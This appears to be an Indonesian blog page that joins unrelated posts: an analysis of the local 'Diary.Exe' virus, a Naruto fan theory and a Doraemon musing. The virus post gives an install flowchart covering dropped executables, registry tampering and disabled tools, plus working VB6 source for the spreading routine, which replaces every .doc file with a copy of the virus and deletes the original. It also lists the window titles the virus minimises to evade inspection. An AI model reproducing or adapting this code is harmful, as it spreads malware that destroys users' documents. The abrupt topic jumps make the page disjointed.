Diary.Exe adalah salah satu Virus (yang katanya cukup Berbahaya oleh Vaksin.com) buatan Vxer (pembuat Virus) lokal. Virus ini dibuat dengan menggunakan Bahasa Visual Basic 6.0. Virus Diary.Exe bekerja menggunakan algoritma (yang kurang-lebihnya)
sebagai berikut :
|START EXECUTION|
| Create File Diary Seorang Newbie.txt |
|di folder %userprofile%\Application Data|
|
|Periksa apakah folder %ProgramFiles%\Common Files\System ada?|
|
tidak ada
|------------------------------------------->|
ada |
| |
| Create file Explorer.Exe di folder | |Create file di folder
| %ProgramFiles%\Common Files\System | %systemroot&\System32|
|<-------------------------------------------|
|Infeksi key-key di Registry, Hidden file, Disableregistrytools, Dll|
|
|Periksa apakah folder %Program Files%\InstallShield Installation Information ada?|
| tidak ada
|--------------------------------------------->|
ada |
| |Create folder %Program Files%\InstallShield
| Installation Information|
| |
| |
|<---------------------------------------------|
|Create file Rsvdb.Exe ke %Program Files%\InstallShield Installation Information|
|
|Create file RegsvcChk.Exe ke folder %SystemRoot%|
|
|Create file Spoolsw.Exe ke folder %userprofile%\Application Data|
|
|Execute Regsvcchk.Exe|
|
|Execute Spoolsw.Exe|
|
|Deteksi dan hapus Virus Kangen All Varian di Komputer|
|
|Deteksi dan Infeksi semua File MS-Word (*.Doc) di Komputer|
|
|END EXECUTION|
Berikut source code cara virus menghapus file .doc:
Private Sub cek(path As String)
On Error Resume Next
If Right(path, 1) <> "\" Then
path = path + "\"
End If
Set fol = fso.getfolder(path)
Set fil = fol.Files
Set subfol = fol.subfolders
If fso.fileexists(path + "Diary.exe") = True Then
GoTo a
Else
Call copi("Diary.exe", path)
End If
a: For Each fil2 In fil
If fso.getextensionname(fil2.Name) = "doc" Or fso.getextensionname(fil2.Name) = "DOC"
Then
desk1 = Left(fil2.Name, Len(fil2.Name) - 4)
Call copi(desk1 + ".exe", path)
Kill fil2.path
End If
Next
For Each subfols In subfol
cek (subfols.path)
Next
End Sub
Virus juga akan me-Minimize window-window yang mempunyai string "Registry Editor","Application Data", "WINDOWS", "WINNT", "Program Files", "Command Prompt, "DOS", "Task","Process", "System", "Hijack", dan "Kill". Source codenya ada juga tapi panjang gan hehehe
Saya akan memprediksikan analisa saya terhadap tobi, menurut saya tobi itu iyalah izuna. Oke saya punya alasan mengatakan itu setelah saya baca si penulis emang membuat kita bingung. Pertama-tama saat Madara kalah dari Hasirama [hokage 1] dia pura2 mati entah menggunakan jurus pengelabuhan apa sehingga Hasirama tidak tahu, lalu setelah itu madara bersembunyi dengan melakukan eksperimen karena sudah mendapat sedikit kekuatan dari hasirama dia menciptakan zetsu dari gen Hasirama dan Izuna kemampuanya seperti yg kita lihat yaitu perekam, penyelundup, pengitai dia digunakan untuk merekam kegitan Madara saat itu. Madara memang menggunakan rinnegan, saat pertarungan dengan Hasirama kekuatan madara sangat kritis akhirnya dengan pengecualian mata rinegan bisa sempurna kalo ditanam ke bayi tapi setelah itu dia mati dan bayi itu adalah Nagato. setelah nagato bisa mengaktifkan rinegan (waktu masih diajar jiraiya) nah disaat itulah orang yg menanamkan mata rinegan secara otomatis hidup kembali karena kemampuan mata Rinegan bisa menghidupkan orang mati. Tapi yang hidup bukan madara tapi Izuna, kemudian izuna melanjutkan rencana madara dengan zetsu dia bisa mengumpulkan mata sharingan dari mayat klan uchiha lalu dicoba2 oleh izuna dan yg paling cocok adalah milik obito teman kakasi
Malam bloggers, pertama-tama saya mau nanya. Bila bloggers punya doraemon atau dikasih pilihan. Tapi cuma 1 kesempatan dan pilihan itu adalah anda memilih impian atau waktu? Apa yg agan pilih. Gampang sih keliatannya tapi suatu saat pertanyaan ini ada di kehidupan kalian mungkin pertanyaan ini bikin bingung dan sangat berguna bila saya menjelaskan karena kita sama-sama butuh keduanya. Tapi saya akan jelaskan menurut prepsi saya.
Subscribe to email feed
